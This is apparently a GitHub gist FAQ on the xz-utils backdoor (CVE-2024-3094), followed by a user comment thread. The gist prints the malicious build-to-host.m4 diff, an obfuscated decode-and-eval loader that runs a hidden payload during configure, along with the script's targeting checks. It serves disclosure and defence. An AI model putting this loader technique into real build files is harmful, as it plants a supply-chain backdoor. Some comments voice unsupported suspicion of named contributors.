Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active January 2, 2025 15:08
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@LaRevoltage
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

@timtas
Copy link

timtas commented Mar 30, 2024

Loongson

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

For the context, kernel dev for commercial UNIX experience 25 years ago, unfortunately not familiar enough with Linux kernel. Even in large companies few people have the depth of knowledge to maintaining of a very wide knowledge to cover all OS. People are all specialised on one component. Once can get easily tricked into fixing what is reported as a bug when in fact it's been a problem injected somewhere else. It's the very common case of fixing a side effect where it appears instead of where it is caused.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS. xry111 is part of that LFS community. xry111 says he's not a maintainer of xz. Sure he isn't, he can somehow commit on systemd, targeted by this backdoor (when ssh on systemd). This is suspicious removing pure from a function declaration. a Pure function are a sanity check for build time flags so that we know the function isn't supposed to change any variable or IO. Now it's gone. Compiler can make specific more complex optimizations now at build time.

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

ALso targeting gentoo and LFS, then all those seemingly infossenive LLVM changes cmake changes to address random bugs maybe not reproduced, just reported by someone also advising how to fix it...

I just looked at this systemd issue and fix, and from what I see, it was a real, reproducible hang and several (not totally random) compiler versions/architechture combinations.

xry111 does contribute quite a lot on Linux From Scratch, but hardly ever creates patches on his own, and while he certainly is repsonsible for a lot of changes, they are all quite sensible, well-reasoned and reproducible. They also never have anything to do whith this Loongson thingy. Regarding systemd, he pushed through the switch from eudev to systemd-udev, as eudev was badly maintained, and while I did not like it, I had to agree that it makes sense. He likes systemd, while I hate it, but even that, while clearly obvious, never became an issue. I'd be very, very surprised if he had anything to do with that backdoor.

@xry111
Copy link

xry111 commented Mar 30, 2024

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

@Z-nonymous
Copy link

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.

So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

@waterkip
Copy link

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

@duracell
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

Sorry, it just pinged you because of the quote from Z-nonymous. I meant this person with my reply.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

Ooooh commercial Unix here from 25 years ago, so it was different back in my days with non-GNU compiler.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS.

The obfuscated script only do things when building a .deb or .rpm package. We don't do it for LFS so the script is basically latent.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

@timtas
Copy link

timtas commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure
make
make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

@znkkw
Copy link

znkkw commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor. Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

In the end of the day, this project was maintained by one single individual, a single point of failure

@duracell
Copy link

duracell commented Mar 30, 2024

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

If you use e.g., Debian, they built it on their server and then distribute the deb package.
I'm not sure which source they usually do, but the bad actor puts a warning in, that the source packages should not be used. I think to convince the maintainer to use the release tar-balls.

With:

  • the .deb and .rpm checks in the exploit code
  • the pushing to update to the current version in at least the ubuntu mailinglist
  • asking in the irc about relase mechanism

it's clearly the case that the main target are these deb/rpm based distributions.

So again, please be calm. It's okay to ask, but you throw so much stuff around, it's not helpful.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure make make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo)
Sorry for beein incorrect.

@xry111
Copy link

xry111 commented Mar 30, 2024

he can somehow commit on systemd

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

@xry111
Copy link

xry111 commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

It had not (or the issue would have been found by the checker and fixed before systemd hangs on my machine). Not sure about the status quo.

@duracell
Copy link

duracell commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No.
The code is:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
which is testing if you're building for a debian or rpm package!
So it's not "build rpm or deb or anything", it's "build rpm or deb", no anything.
Please, read the initial posting (or even the gist, it's also in there).

Again, if you don't know, ask questions, but don't assume things which are already known better.
Or, if you know things which are not yet in the original message or the gist, or which prove them wrong, post them.
Nearly all of your comments were wrong. Be more careful. Please!

@timtas
Copy link

timtas commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

Well, as it stands now, only rpm and dep based distros are targeted, and neither Gentoo or LFS go in that category. As I said, I doubt very much any LFS user uses dkpg or rpm, and as xry111, we don't even use the the systemd notification patch for openssh.

I can assure you 100% percent that xry111 would have had the chance to put this patch into the book, but he didn't, 100%. Do you need more proof?

@Z-nonymous
Copy link

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack.
One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

@StefanCristian
Copy link

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No, the attacker's target were deb and rpm distros, since they're mainly the ones who patched SSHD for systemd-notifications.

Read https://www.openwall.com/lists/oss-security/2024/03/29/4

The source-based distros are the main enemies here for the attackers, because they're the ones most prone to find these problems. Thanks to @xry111 's contributions in these areas the systems will be much more hardened from now on.

Your accusations are quite dubious, since we're talking about a anonymous attacker in cahoots with a very known & public contributor.
We can very well ask about your interest in keeping these unfounded accusations alive, feels like your intentions are less than noble.

@xry111
Copy link

xry111 commented Mar 30, 2024

I can't see PR86 anymore

https://paste.mozilla.org/ynf2jvsh for auditors. I've not modified a thing since it was approved.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

@Ninpo
Copy link

Ninpo commented Mar 30, 2024

And even on systemd we don't patch sshd for systemd notification. The instruction is here:
https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html
We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack. One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

I'd pay good money if you'd shut up

@xry111
Copy link

xry111 commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.
This page even says: xry111 authored and yuwata committed on May 10, 2023.
I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

Because it isn't supposed to be pure (in GNU C).

The entire systemd project relies on GNU extensions so non-GNU compilers just won't work. Please don't quote specs from other compilers.

@Z-nonymous
Copy link

Ok, so I'll apologize here, for just coming with suspicions instead of actual proofs. As one said I should have asked questions for some of the details, and my attitude was not correct.

@kbahey
Copy link

kbahey commented Mar 30, 2024

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

Like you, I am also running 22.04 LTS.

I think it is not affected, based on the the following:

First:

$ dpkg -l | grep lzma
ii  liblzma5:amd64 5.2.5-2ubuntu1

The version of xz is 5.2.5. The exploit was first introduced in 5.6.

Second:

if hexdump -ve '1/1 "%.2x"' /lib/x86_64-linux-gnu/liblzma.so.5 | 
grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then  
  echo "Probably vulnerable"
else 
  echo "Likely not vulnerable"
fi

This shell script shows that the library does not have the exploit's malicious function signature.

One reason I stay with LTS releases only is to reduce the amount of change in a given time period.

@cre0z
Copy link

cre0z commented Mar 30, 2024

I know You can not merge but you can commit.

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

@dguglielmi
Copy link

dguglielmi commented Mar 30, 2024

Lasse Collin have published a page https://tukaani.org/xz-backdoor/

I think he spotted something else targeting cmake builds (in future)

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

@duracell
Copy link

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

@xry111
Copy link

xry111 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

However I don't know in this case we may consider sshd "trusted" or not (liblzma.so is definitely untrusted).

We can use readelf -d /usr/sbin/sshd which will show libsystemd if the systemd-notify patch used. Note that running readelf -d on untrusted binaries is also dangerous (the Binutils maintainers say it's unsafe to do so w/o sandboxing), but we may consider sshd trusted here (liblzma.so is definitely untrusted)...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment